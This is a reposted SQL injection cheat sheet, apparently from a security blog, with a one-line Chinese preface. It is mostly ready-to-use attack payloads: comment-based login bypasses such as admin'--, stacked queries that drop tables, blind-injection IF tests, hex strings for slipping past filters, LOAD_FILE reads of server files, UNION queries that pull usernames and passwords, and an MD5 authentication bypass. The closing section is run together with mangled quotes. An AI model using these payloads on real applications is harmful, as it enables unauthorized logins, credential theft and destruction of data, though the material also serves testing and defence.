这个指南很好，所以就转载过来了 -------------------------------

Line Comments
Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

-- (SM)
DROP sampletable;--

# (M)
DROP sampletable;#
Line Comments Sample SQL Injection Attacks
Username: admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

/*Comment Here*/(SM)
DROP/*comment*/sampletable
DR/**/OP/*bypass blacklisting*/sampletable
SELECT/*avoid-spaces*/password/**/FROM/**/Members
/*! MYSQL Special SQL */ (M)
This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
ID: 10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
ID: /*!32302 10*/
ID: 10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
STACKING QUERIES
Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

; (S)
SELECT * FROM members; DROP members--
Ends a query and starts a new one.

Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown

SQL Server MySQL PostgreSQL ORACLE MS Access
ASP     
ASP.NET     
PHP     
Java     
 
 

	SQL Server	MySQL	PostgreSQL	ORACLE	MS Access
ASP
ASP.NET
PHP
Java

 About MySQL and PHP;
To clarify some issues;
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples
ID: 10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.

IF STATEMENTS
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
SQL Server If Statement
IF condition true-part ELSE false-part (S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not “sa” or “dbo”

 

USING INTEGERS
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

0xHEXNUMBER (SM)
You can  write hex like these;
SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)

STRING  OPERATIONS
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
*About MySQL “||”;
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

CONCAT(str1, str2, str3, ...) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members
STRINGS WITHOUT QUOTES
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

0x457578 (M) – Hex Representation of string
SELECT 0x457578
This will be selected as string in MySQL.In MySQL easy way to generate hex representations of strings use this;
SELECT CONCAT('0x',HEX('c:\\boot.ini'))
Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
This will return ‘KLM’.
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
This will return ‘KLM’.
Hex based SQL Injection Samples
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
This will show the content of c:\boot.ini
STRING MODIFICATION & RELATED
ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.SELECT ASCII('a')
CHAR() (SM)
Convert an integer of ASCII.SELECT CHAR(64)
Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example : www.2cto.com
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – FIXING LANGUAGE ISSUES
While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

SQL Server (S)
Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one –check out SQL Server documentation.SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL (M)
Hex() for every possible issue
Bypassing Login Screens (SMO+) SQL Injection 101, Login tricks admin’ — admin’ # admin’/* ‘ or 1=1– ‘ or 1=1# ‘ or 1=1/* ‘) or ’1′=’1– ‘) or (’1′=’1– …. Login as different user (SM*) ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1– *Old versions of MySQL doesn’t support union queries Bypassing second MD5 hash check login screens If application is first getting the record by username and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. Bypassing MD5 Hash Check Example (MSP) Username : admin Password : 1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055 81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)


FROM http://blog.itsecteam.com